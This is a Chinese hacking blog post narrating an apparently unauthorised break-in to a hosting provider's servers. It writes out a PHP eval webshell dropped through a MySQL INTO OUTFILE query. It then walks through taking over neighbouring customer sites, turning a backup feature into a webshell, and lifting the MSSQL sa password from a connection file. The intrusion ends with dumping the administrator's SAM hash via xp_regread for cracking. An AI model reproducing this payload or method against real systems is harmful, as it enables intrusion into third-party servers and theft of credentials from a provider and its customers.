群里兄弟抛来一个站点,说要弄C段的另一个站点。看看,该IDC站点有数据备份后台,弱口令进入。
clip_image002
一、拿个shell
php站点,mysql数据库,可以sql备份、导入、导出、执行SQL,没有上传,root权限。
但是找不到站点的绝对路径,群里兄弟就找找周围的站点,希望能得到某个站点的绝对路径,
不久就爆出一个php的站点,准备mysql导出shell,但网站有注入检测系统,导入不成功,原因有:
(1)路径不对;
(2)root被降权,没有权限写;
(3)被检测到恶意代码;
前几天碰到过这种情况,改了

1. Select '<?php @eval($_POST[cmd])?>; ' into/**/outfile......../b.php',OK

复制代码

连接成功。得到一个旁站的php shell。
测试了结果:
(1)执行命令不行;
(2)只能在本站转;
什么也干不了。
二、再拿php、asp  shell
后来有人把mysql的root密码破了,登陆phpmyadmin,直接进行数据库操作。用mysql客户端登陆没有登陆上。
上php大马,udf提权也失败了,原因不明。旁站的php shell权限很小,想到能利用的真不多。
又有人得到一个asp旁站的shell,上去看了,除了数据库组件、fso、mai组件外,其他都不能用,难怪不能执行cmd。
陆续又得到几个旁站的shell,都市php和asp的,能利用的少。

clip_image004
clip_image006
可恶的管理员,TNND,php,asp都上了,难道还要上jsp的么?,o(∩_∩)o...,jsp不支持。
三、拿主站shell
综合分析所有的shell路径,来猜测网站的结构。
(1)旁站是idc的客户站,php和asp的,系统iis6。
(2)旁站的目录是D:\wwwroot\XXX站名XX\wwwroot\旁站内容
(3)IDC的主站域名已知,WWW.IDC域名.cn,但是不在D:\wwwroot\中  asp站点
(4)旁站有IDC的管理web端,包括主机、ftp和数据库管理, cp.IDC域名.cn   asp站点
(5)IDC的mysql数据备份域名,IDC域名.cn\upload  php站点
下一步思路:结合(3)(4)确定重点在IDC的管理端,如果能够拿到FTP管理密码或者主机管理密码,肯定权限大得多。
mysql数据库得到了,现在已经拿到mysql的root权限,就在phpadmin里面找啊,翻啊,怎么也没有IDC管理的数据表和路径呢? 所有的子站点都找到了,就是找不到主站点,难道用的mdb的。
杯催啊。那只有是从主站入手了。
看看(4)的登陆系统是hzhost的系统,看看能不能下个这样的系统,才发现是个专业的做IDC的,能管理mysql/mssql/ftp/DNS等等。存在本地管理程序,本地使用mssql数据库。分析在mysql找不到IDCweb管理端表原因:
(1)asp使用的就是mdb数据
(2)mssql在别的机器上
管理端asp较简单,防护很严,难以入手。那现在只有想办法渗透数据域备份站,因为它与IDC管理同在一级域名下,距离近。
数据备份站有sql,但是找不到绝对路径,猜了多个目录都无果。继续找,存在系统的sql数据备份,看图
clip_image008
应该是备份在本站目录下,再看能不能下载,有个压缩下载功能,看看备份的格式,php的,格式清楚了。
接下来就是利用系统数据备份功能构造出php小马。phpadmin  建表,插入一句话,备份到文件,下载,发现是被引号包含。一般后台对备份都会有批量替换文本内容的功能,通过这个功能将一句话的外围去掉,通过替换、查看,注释其他的内容,包括包含的头文件,终于得到php一句话。
clip_image010
四、拿sa
从而得到IDC数据备份站的绝对目录,果然是与其他客户站不在一块。
但时发现还是只能在本站转悠,列不了上级目录。注意到(3)(5),既然在同一级域名,而且都是iis管理的,与IDC管理
站应该不远,记得下面还有一个phpadmin的后台,试一试phpadmin目录,可以列出phpadmin的目录。也就是说,不能列出父目录的内容,可以列出可以列出和自己同级别的目录的内容。试试IDC管理web端的域名目录,可惜不行。
猜测IDC管理站的目录如果和数据管理目录重合的话,数据管理站只是IDC管理站的一部分的话,就可以得到IDC管理子目录的内容,果然,在IDC管理的主页的二级目录就可以在php的小马中列出,
clip_image012
首先看看数据库连接文件,发现有conns的上级目录,列出内容,找到const.asp,得到数据库连接字符串,是mssql的,
我还以为asp都配mdb,何况已经开了mysql的情况下,难怪找不到IDC管理站的数据表。
验证数据库和web是不是在同一台机器上,幸好是。
看看mssql的用户密码,不是sa的密码,不过密码与mysql root的密码很接近,多了一个数字,莫非管理员也偷懒。猜了几个admin的密码,最后发现sa的密码和连接字符串一样。得到sa密码,而且发现就是位置是local的。
telnet idc 的1433,开放,可以外连。
拿出我的“杀人于无形,润物细无声”的利器,本地mssql客户端上之。
五、拿hash
xp_cmdshell 出错,但是存储过程是存在的,xp_regread可以,oacreate执行了,但没有效果,因为wsshell被删除了。
上网找找,使用xp_regread 把管理员的sam值读出来,二进制很长。
在自己机器上建一个用户,把值拷进去,使用注册表到hash方法,不能使用抓缓存的方法,抓取用户密码,得到了管理员的hash值,再拿去破解。
可惜cmd5不给力,后台0%,hash丢给朋友了。
到了12点,天冷了,冻得我膝盖痛。

源链接

Hacking more

...